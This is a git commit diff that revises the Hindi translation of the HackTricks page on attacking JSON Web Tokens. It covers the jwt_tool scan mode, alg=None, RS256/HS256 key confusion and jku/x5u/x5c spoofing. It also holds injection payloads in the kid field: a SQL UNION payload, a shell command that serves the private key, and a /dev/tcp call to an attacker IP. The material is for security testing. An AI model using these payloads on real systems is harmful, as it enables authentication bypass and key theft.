mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['pentesting-web/hacking-jwt-json-web-tokens.md'] to in
This commit is contained in:
parent
c62cfc9002
commit
063c99a3b9
1 changed files with 47 additions and 47 deletions
|
@ -1,4 +1,4 @@
|
|||
# JWT कमजोरियाँ (Json Web Tokens)
|
||||
# JWT संवेदनशीलताएँ (Json Web Tokens)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,51 +10,51 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**Bug bounty tip**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही हमसे जुड़ें [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर, और **$100,000** तक के बाउंटीज कमाना शुरू करें!
|
||||
**Bug bounty tip**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही हमसे [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर जुड़ें, और **$100,000** तक के bounties कमाना शुरू करें!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**इस पोस्ट का एक हिस्सा यहाँ से लिया गया है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWTs को पेंटेस्ट करने के लिए बनाए गए शानदार टूल के लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**JWTs को pentest करने के लिए बनाए गए शानदार टूल के लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **त्वरित जीत**
|
||||
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) को `All Tests!` मोड के साथ चलाएं और हरे रंग की लाइनों का इंतजार करें
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) को `All Tests!` मोड में चलाएं और हरे रंग की लाइनों का इंतजार करें
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
यदि आप भाग्यशाली हैं, तो उपकरण कुछ ऐसे मामले खोज निकालेगा जहां वेब एप्लिकेशन JWT की जांच गलत तरीके से कर रहा है:
|
||||
यदि आप भाग्यशाली हैं, तो उपकरण को कुछ ऐसे मामले मिलेंगे जहां वेब एप्लिकेशन JWT की जांच गलत तरीके से कर रहा है:
|
||||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
|
||||
फिर, आप अपने प्रॉक्सी में उस अनुरोध को खोज सकते हैं या उस अनुरोध के लिए प्रयुक्त JWT को jwt\_ tool का उपयोग करके डंप कर सकते हैं:
|
||||
फिर, आप अपने प्रॉक्सी में अनुरोध को खोज सकते हैं या उस अनुरोध के लिए प्रयुक्त JWT को jwt\_ tool का उपयोग करके डंप कर सकते हैं:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### डेटा को बिना कुछ बदले तोड़-मरोड़ें
|
||||
### डेटा को बिना कुछ बदले टैम्पर करें
|
||||
|
||||
आप डेटा के साथ छेड़छाड़ कर सकते हैं और हस्ताक्षर को जैसा है वैसा ही छोड़ सकते हैं और जांचें कि क्या सर्वर हस्ताक्षर की जांच कर रहा है। उदाहरण के लिए अपने उपयोगकर्ता नाम को "admin" में बदलने का प्रयास करें।
|
||||
आप डेटा के साथ टैम्पर कर सकते हैं और सिग्नेचर को जैसा है वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए अपना यूजरनेम "admin" में बदलने का प्रयास करें।
|
||||
|
||||
#### **क्या टोकन की जांच की जा रही है?**
|
||||
|
||||
* यदि कोई त्रुटि संदेश आता है तो हस्ताक्षर की जांच की जा रही है - किसी भी विस्तृत त्रुटि जानकारी को पढ़ें जो कुछ संवेदनशील जानकारी लीक कर सकती है।
|
||||
* यदि वापस आने वाला पृष्ठ अलग है तो हस्ताक्षर की जांच की जा रही है।
|
||||
* यदि पृष्ठ वही है तो हस्ताक्षर की जांच नहीं की जा रही है - Payload claims के साथ छेड़छाड़ करने का समय है देखने के लिए कि आप क्या कर सकते हैं!
|
||||
* यदि कोई त्रुटि संदेश आता है तो सिग्नेचर की जांच की जा रही है - किसी भी विस्तृत त्रुटि जानकारी को पढ़ें जो कुछ संवेदनशील जानकारी को लीक कर सकती है।
|
||||
* यदि वापस आने वाला पृष्ठ अलग है तो सिग्नेचर की जांच की जा रही है।
|
||||
* यदि पृष्ठ वही है तो सिग्नेचर की जांच नहीं की जा रही है - Payload claims के साथ टैम्परिंग शुरू करने का समय है ताकि आप देख सकें कि आप क्या कर सकते हैं!
|
||||
|
||||
### मूल
|
||||
|
||||
अपने प्रॉक्सी के अनुरोध इतिहास में जांचें कि टोकन कहां से आया है। इसे सर्वर पर बनाया जाना चाहिए, क्लाइंट पर नहीं।
|
||||
|
||||
* यदि यह पहली बार क्लाइंट-साइड से आता दिखाई दिया तो **कुंजी** क्लाइंट-साइड कोड के लिए सुलभ है - इसे खोजें!
|
||||
* यदि यह पहली बार सर्वर से आता दिखाई दिया तो सब ठीक है।
|
||||
* यदि यह पहली बार क्लाइंट-साइड से आते हुए देखा गया है तो **कुंजी** क्लाइंट-साइड कोड के लिए सुलभ है - इसे खोजें!
|
||||
* यदि यह पहली बार सर्वर से आते हुए देखा गया है तो सब ठीक है।
|
||||
|
||||
### अवधि
|
||||
|
||||
|
@ -66,34 +66,34 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
### एल्गोरिदम को None में बदलें (CVE-2015-9235)
|
||||
|
||||
उपयोग किए जाने वाले एल्गोरिदम को "None" पर सेट करें और हस्ताक्षर भाग को हटा दें।
|
||||
इस्तेमाल किए जा रहे एल्गोरिदम को "None" पर सेट करें और सिग्नेचर भाग को हटा दें।
|
||||
|
||||
इस कमजोरी को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए "JSON Web Token" कहने वाले Burp एक्सटेंशन का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" पर रखने का चयन भी कर सकते हैं)।
|
||||
इस कमजोरी को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए "JSON Web Token" कहे जाने वाले Burp एक्सटेंशन का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" पर रखने का भी चयन कर सकते हैं)।
|
||||
|
||||
### एल्गोरिदम RS256(असममित) को HS256(सममित) में बदलें (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
HS256 एल्गोरिदम प्रत्येक संदेश को हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।\
|
||||
RS256 एल्गोरिदम संदेश को हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
|
||||
HS256 एल्गोरिदम प्रत्येक संदेश को साइन और सत्यापित करने के लिए सीक्रेट कुंजी का उपयोग करता है।\
|
||||
RS256 एल्गोरिदम संदेश को साइन करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
|
||||
|
||||
यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर HS256 एल्गोरिदम का उपयोग करके हस्ताक्षर को सत्यापित करता है।
|
||||
यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को सीक्रेट कुंजी के रूप में उपयोग करता है और फिर HS256 एल्गोरिदम का उपयोग करके सिग्नेचर को सत्यापित करता है।
|
||||
|
||||
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलकर हम एक वैध हस्ताक्षर बना सकते हैं। आप वेब सर्वर का प्रमाणपत्र इसे निष्पादित करके प्राप्त कर सकते हैं:
|
||||
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलकर हम एक वैध सिग्नेचर बना सकते हैं। आप वेब सर्वर का प्रमाणपत्र इसे निष्पादित करके प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### हेडर में नई सार्वजनिक कुंजी
|
||||
|
||||
एक हमलावर टोकन के हेडर में एक नई कुंजी जोड़ता है और सर्वर इस नई कुंजी का उपयोग हस्ताक्षर की पुष्टि के लिए करता है (CVE-2018-0114)।
|
||||
एक हमलावर टोकन के हेडर में एक नई कुंजी जोड़ता है और सर्वर इस नई कुंजी का उपयोग करके हस्ताक्षर की पुष्टि करता है (CVE-2018-0114)।
|
||||
|
||||
यह "JSON Web Tokens" Burp एक्सटेंशन के साथ किया जा सकता है।\
|
||||
(अनुरोध को Repeater में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।
|
||||
|
||||
### JWKS Spoofing
|
||||
|
||||
यदि टोकन में “jku” हेडर दावा होता है, तो प्रदान किए गए URL की जांच करें। इसे एक URL पर संकेत करना चाहिए जिसमें JWKS फ़ाइल होती है जो टोकन की पुष्टि के लिए सार्वजनिक कुंजी रखती है। टोकन को ताकि jku मान आपके द्वारा मॉनिटर किए जा सकने वाले वेब सेवा की ओर संकेत करे।
|
||||
यदि टोकन में “jku” हेडर दावा का उपयोग होता है, तो प्रदान किए गए URL की जांच करें। इसे एक URL की ओर इंगित करना चाहिए जिसमें JWKS फ़ाइल होती है जो टोकन की पुष्टि के लिए सार्वजनिक कुंजी रखती है। टोकन को तोड़ें ताकि jku मान आपके द्वारा निगरानी करने योग्य वेब सेवा की ओर इंगित करे।
|
||||
|
||||
यदि आपको HTTP इंटरैक्शन मिलता है, तो अब आप जानते हैं कि सर्वर आपके द्वारा प्रदान किए गए URL से कुंजियों को लोड करने की कोशिश कर रहा है। _jwt\_tool के -S फ्लैग का उपयोग करें और -u_ [_http://example.com_](http://example.com) _तर्क के साथ एक नई कुंजी जोड़ी उत्पन्न करें, अपना प्रदान किया गया URL इंजेक्ट करें, एक JWKS उत्पन्न करें जिसमें सार्वजनिक कुंजी हो, और निजी कुंजी के साथ टोकन पर हस्ताक्षर करें_
|
||||
यदि आपको HTTP इंटरैक्शन मिलता है, तो अब आप जानते हैं कि सर्वर आपके द्वारा प्रदान किए गए URL से कुंजियों को लोड करने की कोशिश कर रहा है। _jwt\_tool के -S फ्लैग का उपयोग करें और -u_ [_http://example.com_](http://example.com) _आर्गुमेंट के साथ एक नई कुंजी जोड़ी बनाएं, अपना प्रदान किया गया URL इंजेक्ट करें, एक JWKS बनाएं जिसमें सार्वजनिक कुंजी हो, और निजी कुंजी के साथ टोकन पर हस्ताक्षर करें_
|
||||
|
||||
### Kid मुद्दे
|
||||
|
||||
|
@ -101,38 +101,38 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
#### "kid" मुद्दे - कुंजी प्रकट करें
|
||||
|
||||
यदि हेडर में "kid" दावा का उपयोग किया जाता है, तो उस फ़ाइल या उसके विविधता के लिए वेब निर्देशिका की जांच करें। उदाहरण के लिए यदि `"kid":"key/12345"` तो वेब रूट पर _/key/12345_ और _/key/12345.pem_ की खोज करें।
|
||||
यदि हेडर में "kid" दावा का उपयोग होता है, तो उस फ़ाइल या उसके विविधता के लिए वेब निर्देशिका की जांच करें। उदाहरण के लिए यदि `"kid":"key/12345"` तो वेब रूट पर _/key/12345_ और _/key/12345.pem_ की खोज करें।
|
||||
|
||||
#### "kid" मुद्दे - पथ प्रवेश
|
||||
|
||||
यदि हेडर में "kid" दावा का उपयोग किया जाता है, तो जांचें कि क्या आप फ़ाइल सिस्टम में एक अलग फ़ाइल का उपयोग कर सकते हैं। एक ऐसी फ़ाइल चुनें जिसकी सामग्री का आप अनुमान लगा सकते हों, या शायद `"kid":"/dev/tcp/yourIP/yourPort"` का प्रयास करें कनेक्टिविटी की जांच के लिए, या कुछ **SSRF** पेलोड्स...\
|
||||
_jwt\_tool के -T फ्लैग का उपयोग करके JWT को ताम्पर करें और kid दावे के मूल्य को बदलें, फिर मूल हस्ताक्षर को बनाए रखने का चयन करें_
|
||||
यदि हेडर में "kid" दावा का उपयोग होता है, तो जांचें कि क्या आप फ़ाइल सिस्टम में एक अलग फ़ाइल का उपयोग कर सकते हैं। एक ऐसी फ़ाइल चुनें जिसकी सामग्री का आप अनुमान लगा सकते हों, या शायद `"kid":"/dev/tcp/yourIP/yourPort"` का प्रयास करें कनेक्टिविटी की जांच के लिए, या कुछ **SSRF** पेलोड्स...\
|
||||
_jwt\_tool के -T फ्लैग का उपयोग करके JWT को तोड़ें और kid दावे के मूल्य को बदलें, फिर मूल हस्ताक्षर को बनाए रखने का चयन करें_
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
#### "kid" मुद्दे - SQL इंजेक्शन
|
||||
|
||||
जब "kid" की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो आप "kid" पैरामीटर के अंदर पेलोड को बदल सकते हैं: `non-existent-index' UNION SELECT 'ATTACKER';-- -` और फिर JWT को `ATTACKER` सीक्रेट की के साथ साइन करें।
|
||||
जब "kid" की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो आप "kid" पैरामीटर में पेलोड को बदल सकते हैं: `non-existent-index' UNION SELECT 'ATTACKER';-- -` और फिर JWT को `ATTACKER` सीक्रेट की के साथ साइन करें।
|
||||
|
||||
#### "kid" मुद्दे - OS इंजेक्शन
|
||||
|
||||
जब "kid" पैरामीटर में की के साथ फाइल का पथ होता है और इस पथ का उपयोग **कमांड के अंदर निष्पादित** किया जा रहा हो, तो आप RCE प्राप्त कर सकते हैं और निम्नलिखित पेलोड के साथ प्राइवेट की को उजागर कर सकते हैं: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
जब "kid" पैरामीटर में किसी फाइल का पथ होता है जिसमें की होती है और इस पथ का उपयोग **कमांड को निष्पादित करने के अंदर** किया जाता है, तो आप RCE प्राप्त कर सकते हैं और निम्नलिखित पेलोड के साथ प्राइवेट की को उजागर कर सकते हैं: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### विविध हमले
|
||||
|
||||
निम्नलिखित ज्ञात कमजोरियां हैं जिनका परीक्षण किया जाना चाहिए।
|
||||
निम्नलिखित ज्ञात कमजोरियां हैं जिनकी जांच की जानी चाहिए।
|
||||
|
||||
**क्रॉस-सर्विस रिले हमले**
|
||||
|
||||
कुछ वेब एप्लिकेशन एक विश्वसनीय JWT 'सेवा' का उपयोग करते हैं जो उनके लिए टोकन उत्पन्न करती है और प्रबंधित करती है। अतीत में कुछ उदाहरण हुए हैं जहां एक JWT सेवा के ग्राहकों के लिए उत्पन्न टोकन वास्तव में उसी JWT सेवा के अन्य ग्राहकों द्वारा स्वीकार किया जा सकता है।\
|
||||
यदि आप देखते हैं कि JWT किसी तृतीय-पक्ष सेवा के माध्यम से जारी या नवीनीकृत हो रहा है, तो यह जांचने लायक है कि क्या आप उसी सेवा के अन्य ग्राहकों पर अपने समान उपयोगकर्ता नाम/ईमेल के साथ एक खाता बना सकते हैं। यदि हां, तो उस टोकन को लेकर अपने लक्ष्य को अनुरोध में पुनः प्रयोग करने का प्रयास करें। क्या यह स्वीकार किया जाता है?
|
||||
यदि आप देखते हैं कि JWT किसी तृतीय-पक्ष सेवा के माध्यम से जारी या नवीनीकृत हो रहा है, तो यह जांचने लायक है कि क्या आप उसी सेवा के अन्य ग्राहकों पर अपने समान उपयोगकर्ता नाम/ईमेल के साथ एक खाता बना सकते हैं। यदि हां, तो उस टोकन को लेकर अपने लक्ष्य को अनुरोध में पुनः प्रयास करें। क्या यह स्वीकार किया जाता है?
|
||||
|
||||
* यदि आपका टोकन स्वीकार किया जाता है, तो आपके पास किसी भी उपयोगकर्ता के खाते को नकली बनाने की एक गंभीर समस्या हो सकती है। हालांकि, ध्यान रखें कि यदि आप किसी तृतीय-पक्ष एप्लिकेशन पर साइन अप कर रहे हैं तो आपको व्यापक परीक्षण अनुमतियों के लिए अनुमति मांगने की आवश्यकता हो सकती है, क्योंकि यह कानूनी धुंधले क्षेत्र में प्रवेश कर सकता है!
|
||||
* यदि आपका टोकन स्वीकार किया जाता है, तो आपके पास किसी भी उपयोगकर्ता के खाते को नकली बनाने की एक गंभीर समस्या हो सकती है। हालांकि, ध्यान रखें कि यदि आप एक तृतीय-पक्ष एप्लिकेशन पर साइन अप कर रहे हैं तो आपको व्यापक परीक्षण अनुमतियों की अनुमति मांगने की आवश्यकता हो सकती है, क्योंकि यह कानूनी धूसर-क्षेत्र में प्रवेश कर सकता है!
|
||||
|
||||
**क्या exp की जांच की जाती है?**
|
||||
**क्या exp जांचा जाता है?**
|
||||
|
||||
"exp" पेलोड दावा का उपयोग टोकन की समाप्ति की जांच के लिए किया जाता है। चूंकि JWTs अक्सर सत्र जानकारी के अभाव में उपयोग किए जाते हैं, इसलिए उन्हें सावधानी से संभालने की जरूरत होती है - कई मामलों में किसी और के JWT को कैप्चर करना और पुनः प्रयोग करना आपको उस उपयोगकर्ता के रूप में प्रच्छन्न करने की अनुमति देगा।\
|
||||
JWT पुनः प्रयोग हमलों के खिलाफ एक उपाय (जिसे JWT RFC द्वारा सलाह दी गई है) "exp" दावे का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करना है। यह भी महत्वपूर्ण है कि एप्लिकेशन में संबंधित जांचें स्थापित की जाएं ताकि यह सुनिश्चित किया जा सके कि यह मूल्य संसाधित हो और टोकन को अस्वीकार किया जाए जहां यह समाप्त हो गया है। यदि टोकन में "exp" दावा होता है और परीक्षण समय सीमाएं इसकी अनुमति देती हैं - टोकन को स्टोर करने और समाप्ति समय के बाद इसे पुनः प्रयोग करने का प्रयास करें। _jwt\_tool के -R फ्लैग का उपयोग करें टोकन की सामग्री को पढ़ने के लिए, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच शामिल है (टाइमस्टैम्प UTC में)_
|
||||
"exp" पेलोड दावा टोकन की समाप्ति की जांच के लिए उपयोग किया जाता है। चूंकि JWTs अक्सर सत्र जानकारी के अभाव में उपयोग किए जाते हैं, इसलिए उन्हें सावधानी से संभालने की जरूरत होती है - कई मामलों में किसी और के JWT को कैप्चर करना और पुनः प्रयास करना आपको उस उपयोगकर्ता के रूप में छद्म बनाने की अनुमति देगा।\
|
||||
JWT पुनः प्रयास हमलों के खिलाफ एक निवारण (जो JWT RFC द्वारा सलाह दी गई है) "exp" दावे का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करना है। यह भी महत्वपूर्ण है कि एप्लिकेशन में संबंधित जांचें स्थापित की जाएं ताकि यह सुनिश्चित किया जा सके कि यह मूल्य संसाधित हो और टोकन को अस्वीकार किया जाए जहां यह समाप्त हो गया है। यदि टोकन में "exp" दावा होता है और परीक्षण समय सीमाएं इसकी अनुमति देती हैं - टोकन को स्टोर करने का प्रयास करें और समाप्ति समय के बाद इसे पुनः प्रयास करें। _jwt\_tool के -R फ्लैग का उपयोग करें टोकन की सामग्री को पढ़ने के लिए, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच शामिल है (टाइमस्टैम्प UTC में)_
|
||||
|
||||
* यदि टोकन अभी भी एप्लिकेशन में मान्य होता है, तो यह एक सुरक्षा जोखिम हो सकता है क्योंकि टोकन कभी भी समाप्त नहीं हो सकता है।
|
||||
|
||||
|
@ -140,16 +140,16 @@ JWT पुनः प्रयोग हमलों के खिलाफ ए
|
|||
|
||||
#### jku
|
||||
|
||||
jku का मतलब है **JWK Set URL**।\
|
||||
यदि टोकन "jku" **Header** दावे का उपयोग करता है, तो **प्रदान किए गए URL की जांच करें**। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को तोड़कर jku मान को आप जिस वेब सेवा के लिए ट्रैफिक की निगरानी कर सकते हैं उसकी ओर इशारा करें।
|
||||
jku का मतलब **JWK Set URL** है।\
|
||||
यदि टोकन एक “**jku**” **Header** दावे का उपयोग करता है, तो **प्रदान किए गए URL की जांच करें**। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को तोड़कर jku मान को एक वेब सेवा की ओर इशारा करने के लिए बदलें जिसके लिए आप ट्रैफिक की निगरानी कर सकते हैं।
|
||||
|
||||
पहले आपको नए प्राइवेट और पब्लिक कीज़ के साथ एक नया सर्टिफिकेट बनाने की जरूरत है
|
||||
सबसे पहले आपको नए प्राइवेट और पब्लिक कीज़ के साथ एक नया सर्टिफिकेट बनाने की जरूरत है
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
तब आप [**jwt.io**](https://jwt.io) का उपयोग करके नया JWT बना सकते हैं **बनाए गए सार्वजनिक और निजी कुंजियों के साथ और पैरामीटर jku को बनाई गई प्रमाणपत्र की ओर इंगित करते हुए।** एक मान्य jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर्स में परिवर्तन कर सकते हैं।
|
||||
आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग करके **नए JWT को बनाने के लिए बनाए गए सार्वजनिक और निजी कुंजियों का उपयोग कर सकते हैं और पैरामीटर jku को बनाई गई प्रमाणपत्र की ओर इंगित कर सकते हैं।** एक मान्य jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर्स में परिवर्तन कर सकते हैं।
|
||||
|
||||
आप एक सार्वजनिक प्रमाणपत्र से पैरामीटर्स "e" और "n" प्राप्त कर सकते हैं इसका उपयोग करके:
|
||||
```bash
|
||||
|
@ -162,9 +162,9 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. एक URI जो PEM प्रारूप में एन्कोडेड X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के एक सेट की ओर इशारा करता है। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले वाले को हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों के स्थानांतरण के लिए परिवहन सुरक्षा आवश्यक है।
|
||||
X.509 URL. एक URI जो PEM प्रारूप में एन्कोडेड X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के एक समूह की ओर इशारा करता है। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले वाले को हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों के हस्तांतरण के लिए परिवहन सुरक्षा आवश्यक है।
|
||||
|
||||
इस हेडर को अपने नियंत्रण में एक URL में **बदलने का प्रयास करें** और जांचें कि क्या कोई अनुरोध प्राप्त होता है। इस मामले में आप **JWT को बदल सकते हैं**।
|
||||
इस हेडर को अपने नियंत्रण में एक URL में **बदलने का प्रयास करें** और जांचें कि क्या कोई अनुरोध प्राप्त होता है। ऐसे मामले में आप **JWT को बदल सकते हैं**।
|
||||
|
||||
आपके द्वारा नियंत्रित एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए, आपको प्रमाणपत्र बनाने और सार्वजनिक और निजी कुंजियों को निकालने की आवश्यकता है:
|
||||
```bash
|
||||
|
@ -183,7 +183,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
यदि हमलावर **एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है** और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मूल्य को नव उत्पन्न प्रमाणपत्र के साथ बदल देता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है, तो मूल रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।
|
||||
यदि हमलावर **एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है** और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मूल्य को नवनिर्मित प्रमाणपत्र के साथ बदल देता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है तो मूल रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -223,7 +223,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः चलाने से रोकने के लिए किया जा सकता है।\
|
||||
हालांकि, एक परिस्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID बढ़ा रहा है तो आप इसका दुरुपयोग करके **एक अनुरोध को पुनः चला सकते हैं** (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता होगी)।
|
||||
हालांकि, एक परिस्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए अगर बैकएंड प्रत्येक अनुरोध पर ID बढ़ा रहा है तो आप इसका दुरुपयोग करके **एक अनुरोध को पुनः चला सकते हैं** (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता होती है)।
|
||||
|
||||
### JWT पंजीकृत दावे
|
||||
|
||||
|
@ -234,20 +234,20 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद
|
|||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमसे जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें!
|
||||
